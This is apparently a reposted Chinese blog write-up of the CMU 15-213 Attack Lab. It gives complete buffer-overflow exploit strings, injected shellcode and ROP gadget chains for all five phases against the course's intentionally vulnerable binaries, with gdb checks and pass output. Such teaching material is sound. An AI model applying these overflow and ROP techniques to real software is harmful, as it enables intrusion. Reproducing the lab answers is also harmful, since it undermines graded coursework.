IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 移动开发 -> CSAPP(CMU 15-213):Lab3 Attacklab详解 -> 正文阅读

[移动开发]CSAPP(CMU 15-213):Lab3 Attacklab详解

# 前言

本系列文章意在记录答主学习CSAPP Lab的过程,也旨在可以帮助后人一二,欢迎大家指正!


tips:本lab主要是利用gets中的不安全(越界,覆盖原栈桢内容),缺陷来进行攻击(缓冲区溢出)
image-20220131163411094

Part I : Code Injection Attacks

? 第一部分是利用代码注入进行攻击,CMU15-213将ctarget关闭了栈随机化并且将栈标记为可执行的,以简化难度,让代码更容易被攻击。

Phase 1

目标:使test函数再调用getbuf()之后不返回自身,而是转移至touch1(),执行函数touch1()的代码。

这一问难度不是特别高,无需注入新的代码,只需将原返回函数test()的地址修改为touch1()的地址即可。

# getbuf的反汇编代码
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	    sub    $0x28,%rsp
   0x00000000004017ac <+4>:	    mov    %rsp,%rdi
   0x00000000004017af <+7>:	    callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   

? 从中可以发现getbuf()构造了5B的栈帧,即栈桢如下图。

image-20220130163725426

? 返回函数test()地址在0xdca0处,只需将此处的数据更改为touch1()的地址(0x00000000004017c0)即可。

? 前5B的字符随意填充(此处将随意字符全部填充为00),第6B的字符写入0x4017c0。

tips: Intel中数据是以小端方式存储,所以在字符串的字节表示中要将地址反转写入。
#level1 strings的字节表示
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00    /* touch1's address is  0x00000000004017c0 */

通过./hex2raw < ctarget1.txt > ctarget1-raw.txt 转换为目标字符串

? 接下来可以打印栈桢信息进行验证。(gdb:info frame)

#读入字符串之前(即执行Gets函数前),saved rip的值为返回test()的地址
Stack level 0, frame at 0x5561dca8:
 rip = 0x4017af in getbuf (buf.c:14); saved rip = 0x401976
 called by frame at 0x5561dcb8
 source language c.
 Arglist at 0x5561dc70, args: 
 Locals at 0x5561dc70, Previous frame's sp is 0x5561dca8
 Saved registers:
  rip at 0x5561dca0
#读入字符串之后,此时saved rip 的值即为touch1()的地址
Stack level 0, frame at 0x5561dca8:
 rip = 0x4017b4 in getbuf (buf.c:16); saved rip = 0x4017c0
 called by frame at 0x5561dcb0
 source language c.
 Arglist at 0x5561dc70, args: 
 Locals at 0x5561dc70, Previous frame's sp is 0x5561dca8
 Saved registers:
  rip at 0x5561dca0

输出结果如下:

./ctarget -q -i ctarget1-raw.txt

Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 

Phase 2

目标:test函数调用getbuf()后不返回自身而返回函数touch2(val),并令函数touch2(val)的输入参数cookie

做法:修改返回地址,并在返回至touch2之前将%edi设置为cookie,即先返回至注入代码位置并执行,后返回到touch2()

? 为了先返还至注入代码位置,则就在原存放返回test()地址位置处存放注入代码的地址,而后在注入代码返回后原%rsp+0x8,所以在原存放test()地址位置+0x8处存放touch2()的地址,注入代码的位置则只要在栈桢内且不超过返回地址的值即可。

? 具体信息请看下图部分目标栈桢。

image-20220130210054488

注入代码为:

mov    $0x59b997fa,%edi     # my cookie is 0x59b997fa
retq 

将其转换为字节表示

gcc -c code.s
objdump -d code.o > code.d

#code.d
code.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	c3                   	retq   

根据以上分析填充字符串的字节表示为

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bf fa 97 b9 59             /* mov    $0x59b997fa,%edi */
c3                         /* retq  */
00 00
98 dc 61 55 00 00 00 00    /* return injected code's address 0x5561dc98 */
ec 17 40 00 00 00 00 00    /* return touch2's address is 0x00000000004017ec */

执行函数gets()后,打印此处栈桢验证,符合此前规划栈桢情况。

(gdb) x/7gx $rsp
0x5561dc78:	0x0000000000000000	0x0000000000000000
0x5561dc88:	0x0000000000000000	0x0000000000000000
0x5561dc98:	0x0000c359b997fabf	0x000000005561dc98
0x5561dca8:	0x00000000004017ec

输出结果如下:

./ctarget -q -i ctarget2-raw.txt

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF FA 97 B9 59 C3 00 00 98 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 3

目标:test函数调用getbuf()后不返回自身而返回函数touch3(val),并令函数touch3()的输入参数为cookie的字符串表示形式("59b997fa")所在的地址,并且在hexmatch()中存储局部变量时设了小的障碍,要注意存放“cookie”的栈桢地址,防止被破坏数据。


分析:找到“59b997fa”的字节表示,并选取合适的位置存储,其他部分与Level 2中相同。

为了防止存储的“59b997fa”(cookie的字符串表示)被后续hexmatch()的栈桢所破坏,可以将其放入返回touch3()地址的上方。

具体请看下方部分目标栈桢图。

image-20220131101647361

注入代码为:

mov $0x5561dcb0,%edi    #存放“cookie”=“59b997fa”的地址
retq

将其转换为字节表示

gcc -c code.s
objdump -d code.o > code.d

#code.d
code.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	bf b0 dc 61 55       	mov    $0x5561dcb0,%edi
   5:	c3                   	retq   

根据以上分析填充字符串的字节表示为

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bf b0 dc 61 55             /* mov    $0x5561dcb0,%edi */
c3                         /* retq  */
00 00
98 dc 61 55 00 00 00 00    /* return injected code's address 0x5561dc98 */
fa 18 40 00 00 00 00 00    /* return touch3's address 0x00000000004018fa */
35 39 62 39 39 37 66 61    /* store the string represention of my_cookie = "59b997fa" is 0x6166373939623935 in memory */

执行函数gets()后,打印此处栈桢验证,符合此前规划栈桢情况。

(gdb) x/8gx $rsp
0x5561dc78:	0x0000000000000000	0x0000000000000000
0x5561dc88:	0x0000000000000000	0x0000000000000000
0x5561dc98:	0x0000c35561dcb0bf	0x000000005561dc98
0x5561dca8:	0x00000000004018fa	0x6166373939623935

(gdb) x/s ($rsp+0x38)
0x5561dcb0:	"59b997fa"

输出结果如下:

./ctarget -q -i ctarget3-raw.txt

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF B0 DC 61 55 C3 00 00 98 DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 
tips:phase3的实现中讨了巧,因为栈不会随机化,所以我在注入的汇编代码中直接给出了"cookie"的地址,更好的方法是利用%rsp+偏移量的方法来计算其地址,不过这样代码量会增加不少。具体在phase 5中有所实现。


tips:!!! 字符串表示与其字节表示的不同!!(level 2 和 level 3对比)

Part II: Return-Oriented Programming

? 开启栈随机化与栈中内容是不可执行的,注入新的代码进行攻击就不可实现了。但因为关闭了canary(金丝雀),所以溢出缓冲区还是可行的。

? 此处的partII采用面向返回编程进行攻击。

image-20220131161046103
ROP:不注入新的代码,而对原有代码进行“断章取义”,形成一个一个gadget,在栈中存入(利用exploit string)指向这些gadget的地址以及所需的数据(利用popq作为一个gadget从栈中取出数据到寄存器)
即用已有的程序与资源,看如何操作才能凑出我的目标!!!

Phase 4

目标:与phase2目的相同,不同的在于不可使用注入代码攻击,而是使用ROP方法。


分析:在调用touch2()之前将cookie的值存储至%rdi中


提示:此次任务只用到两个gadgets,并且都在start_farm 与 mid_farm 之间。     nop is 0x90

通过这些提示我们就能想到所使用的代码为popqmov的组合。即 popq R movq R, %rdi

思路:可以先行利用vim的搜索键在代码中搜索存在哪一种popq指令(只有针对一种寄存器的popq指令),找到R后,继而就能很轻松地找到mov指令。

# popq %rax   retq  (58  c3)    两种选择都可行    其中0x90为nop指令
00000000004019ca <getval_280>:
    4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax
    4019cf: c3                    retq
00000000004019a7 <addval_219>:
    4019a7: 8d 87 51 73 58 90     lea    -0x6fa78caf(%rdi),%eax
    4019ad: c3                    retq

# movq %rax, %rdi   retq   (48 89 c7 c3)
00000000004019a0 <addval_273>:
    4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
    4019a6: c3                    retq

所以目标栈桢以下如图所示:

image-20220131161333976

expolit string 为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00    /* popq %rax nop retq    return getval_280's address + 2 is 0x00000000004019cc */
fa 97 b9 59 00 00 00 00    /* cookie is 0x59b997fa */
a2 19 40 00 00 00 00 00    /* movq %rax, %rdi retq  return addval_273's address + 2 is 0x00000000004019a2 */
ec 17 40 00 00 00 00 00    /* return touch2's address 0x00000000004017ec */

打印%rsp处数据如下,符合预期。(此时左边的栈地址是会变化的哦~因为对于rtarget启用了栈随机化)

(gdb) x/9gx $rsp
0x7ffffffaa7d0:	0x0000000000000000	0x0000000000000000
0x7ffffffaa7e0:	0x0000000000000000	0x0000000000000000
0x7ffffffaa7f0:	0x0000000000000000	0x00000000004019cc
0x7ffffffaa800:	0x0000000059b997fa	0x00000000004019a2
0x7ffffffaa810:	0x00000000004017ec

GDB至两个目标gadget处可分析如下。

# gadget1:pop    %rax
(gdb) disassemble 
Dump of assembler code for function getval_280:
   0x00000000004019ca <+0>:	mov    $0xc3905829,%eax
   0x00000000004019cf <+5>:	retq   
End of assembler dump.
(gdb) info registers $rip
rip            0x4019cc	0x4019cc <getval_280+2>
(gdb) x/3i $rip
=> 0x4019cc <getval_280+2>:	pop    %rax
   0x4019cd <getval_280+3>:	nop
   0x4019ce <getval_280+4>:	retq   

# gadget2:mov    %rax,%rdi
(gdb) disassemble 
Dump of assembler code for function addval_273:
   0x00000000004019a0 <+0>:	lea    -0x3c3876b8(%rdi),%eax
   0x00000000004019a6 <+6>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x4019a2	0x4019a2 <addval_273+2>
(gdb) x/2i $rip
=> 0x4019a2 <addval_273+2>:	mov    %rax,%rdi
   0x4019a5 <addval_273+5>:	retq   

输出结果如下:

./rtarget -q -i rtarget1-raw.txt

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 5

目标:与phase3目的相同,不同的在于不可使用注入代码攻击,而是使用ROP方法。


分析:在调用touch3()之前将“cookie"的值存储至%rdi中


提示:此次任务需用到八个gadgets。

分析:(利用倒推法给出各个gadgets汇编代码)

1.首先"cookie"的值是要存储在栈桢中,因为栈随机化的特性,无法直接给出其地址,只能利用%rsp+偏移量的方法来计算其地址。

2.观察所给的ctarget中的gadget,其中有一条指令lea (%rdi,%rsi, 1), %rax可以用来生成地址。

3.观察搜索所有的gadget与mov指令的字节码,发现只有一条路径可到达%esi,而无路径到达%rsi,所以%rdi用来存储%rsp的值,而%rsi来存储偏移量, 同时这也符合编译代码的使用规范。

4.随后利用倒推法则可以推出所有的汇编代码,需要注意的是,对于popq指令,rtarget中只有一条popq %rax。

# 将偏移量赋值给%esi
popq %rax                     # 58  只有这一个Popq
movl %eax,%edx                # 89 c2 90
movl %edx,%ecx                # 89 d1 (必须带后面这条指令,否则就没有符合的指令(符合 指后面接返回指令c3))
orb %cl, %cl                  # 08 db 不改变寄存器的值
movl %ecx,%esi                # 89 ce 只有这一条路径到%esi(且也无路径到%rsi,这就变相地说明了%esi用于存放偏移量)

# 将%rsp赋值给%rdi
movq %rsp,%rax                # 48 89 e0
movq %rax,%rdi                # 48 89 c7

# 计算“cookie”的地址并赋给%rdi
lea (%rdi,%rsi, 1), %rax      # 48 8d 04 37
movq %rax,%rdi

通过以上分析,目标栈桢如下图所示:

image-20220131184920328

exploit string 为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00  /* popq %rax nop retq    return getval_280's address + 2 is 0x00000000004019cc */
20 00 00 00 00 00 00 00  /* offset */
dd 19 40 00 00 00 00 00  /* movl %eax,%edx nop retq    return getval_481's address + 2 is 0x00000000004019dd */
69 1a 40 00 00 00 00 00  /* movl %edx,%ecx orb %cl,%cl retq    return getval_311's address + 1 is 0x0000000000401a69 */
13 1a 40 00 00 00 00 00  /* movl %ecx,%esi nop nop retq    return addval_436's address + 2 is 0x0000000000401a13 */
06 1a 40 00 00 00 00 00  /* movq %rsp,%rax retq    return addval_190's address + 3 is 0x0000000000401a06 */
a2 19 40 00 00 00 00 00  /* movq %rax,%rdi retq    return addval_273's address + 2 is 0x00000000004019a2 */
d6 19 40 00 00 00 00 00  /* lea (%rdi,%rsi,1),%rax retq    return add_xy's address is 0x00000000004019d6 */
a2 19 40 00 00 00 00 00  /* movq %rax,%rdi retq  return addval_273's address + 2 is 0x00000000004019a2 */
fa 18 40 00 00 00 00 00  /* return touch3's address 0x00000000004018fa */
35 39 62 39 39 37 66 61  /* store the string represention of my_cookie = "59b997fa" is 0x6166373939623935 in memory */

打印%rsp处数据如下,符合预期。(此时左边的栈地址是会变化的哦~因为对于rtarget启用了栈随机化)

(gdb) x/16gx $rsp
0x7ffffffb9ef0:	0x0000000000000000	0x0000000000000000
0x7ffffffb9f00:	0x0000000000000000	0x0000000000000000
0x7ffffffb9f10:	0x0000000000000000	0x00000000004019cc
0x7ffffffb9f20:	0x0000000000000020	0x00000000004019dd
0x7ffffffb9f30:	0x0000000000401a69	0x0000000000401a13
0x7ffffffb9f40:	0x0000000000401a06	0x00000000004019a2
0x7ffffffb9f50:	0x00000000004019d6	0x00000000004019a2
0x7ffffffb9f60:	0x00000000004018fa	0x6166373939623935

GDB至八个目标gadget处可分析如下。

# gadget1:pop    %rax
(gdb) disassemble 
Dump of assembler code for function getval_280:
   0x00000000004019ca <+0>:	mov    $0xc3905829,%eax
   0x00000000004019cf <+5>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x4019cc	0x4019cc <getval_280+2>
(gdb) x/3i $rip
=> 0x4019cc <getval_280+2>:	pop    %rax
   0x4019cd <getval_280+3>:	nop
   0x4019ce <getval_280+4>:	retq   

# gadget2:mov    %eax,%edx
(gdb) disassemble 
Dump of assembler code for function getval_481:
   0x00000000004019db <+0>:	mov    $0x90c2895c,%eax
   0x00000000004019e0 <+5>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x4019dd	0x4019dd <getval_481+2>
(gdb) x/3i $rip
=> 0x4019dd <getval_481+2>:	mov    %eax,%edx
   0x4019df <getval_481+4>:	nop
   0x4019e0 <getval_481+5>:	retq   

# gadget3:mov    %edx,%ecx    or     %bl,%bl
(gdb) disassemble 
Dump of assembler code for function getval_311:
   0x0000000000401a68 <+0>:	mov    $0xdb08d189,%eax
   0x0000000000401a6d <+5>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x401a69	0x401a69 <getval_311+1>
(gdb) x/3i $rip
=> 0x401a69 <getval_311+1>:	mov    %edx,%ecx
   0x401a6b <getval_311+3>:	or     %bl,%bl
   0x401a6d <getval_311+5>:	retq   

# gadget4:mov    %ecx,%esi
(gdb) disassemble 
Dump of assembler code for function addval_436:
   0x0000000000401a11 <+0>:	lea    -0x6f6f3177(%rdi),%eax
   0x0000000000401a17 <+6>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x401a13	0x401a13 <addval_436+2>
(gdb) x/4i $rip
=> 0x401a13 <addval_436+2>:	mov    %ecx,%esi
   0x401a15 <addval_436+4>:	nop
   0x401a16 <addval_436+5>:	nop
   0x401a17 <addval_436+6>:	retq   

# gadget5:mov    %rsp,%rax
(gdb) disassemble 
Dump of assembler code for function addval_190:
   0x0000000000401a03 <+0>:	lea    -0x1f76b7bf(%rdi),%eax
   0x0000000000401a09 <+6>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x401a06	0x401a06 <addval_190+3>
(gdb) x/2i $rip
=> 0x401a06 <addval_190+3>:	mov    %rsp,%rax
   0x401a09 <addval_190+6>:	retq   

# gadget6:mov    %rax,%rdi
(gdb) disassemble 
Dump of assembler code for function addval_273:
   0x00000000004019a0 <+0>:	lea    -0x3c3876b8(%rdi),%eax
   0x00000000004019a6 <+6>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x4019a2	0x4019a2 <addval_273+2>
(gdb) x/2i $rip
=> 0x4019a2 <addval_273+2>:	mov    %rax,%rdi
   0x4019a5 <addval_273+5>:	retq   

# gadget7:lea    (%rdi,%rsi,1),%rax
(gdb) disassemble 
Dump of assembler code for function add_xy:
=> 0x00000000004019d6 <+0>:	lea    (%rdi,%rsi,1),%rax
   0x00000000004019da <+4>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x4019d6	0x4019d6 <add_xy>
(gdb) x/2i $rip
=> 0x4019d6 <add_xy>:	lea    (%rdi,%rsi,1),%rax
   0x4019da <add_xy+4>:	retq   

# gadget8:mov    %rax,%rdi
(gdb) disassemble 
Dump of assembler code for function addval_273:
   0x00000000004019a0 <+0>:	lea    -0x3c3876b8(%rdi),%eax
   0x00000000004019a6 <+6>:	retq   
End of assembler dump.
(gdb) i r $rip
rip            0x4019a2	0x4019a2 <addval_273+2>
(gdb) x/2i $rip
=> 0x4019a2 <addval_273+2>:	mov    %rax,%rdi
   0x4019a5 <addval_273+5>:	retq   

输出结果如下:

./rtarget -q -i rtarget2-raw.txt

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 69 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 
  移动开发 最新文章
Vue3装载axios和element-ui
android adb cmd
【xcode】Xcode常用快捷键与技巧
Android开发中的线程池使用
Java 和 Android 的 Base64
Android 测试文字编码格式
微信小程序支付
安卓权限记录
知乎之自动养号
【Android Jetpack】DataStore
上一篇文章      下一篇文章      查看所有文章
加:2022-02-04 11:09:00  更:2022-02-04 11:11:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 13:38:19-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码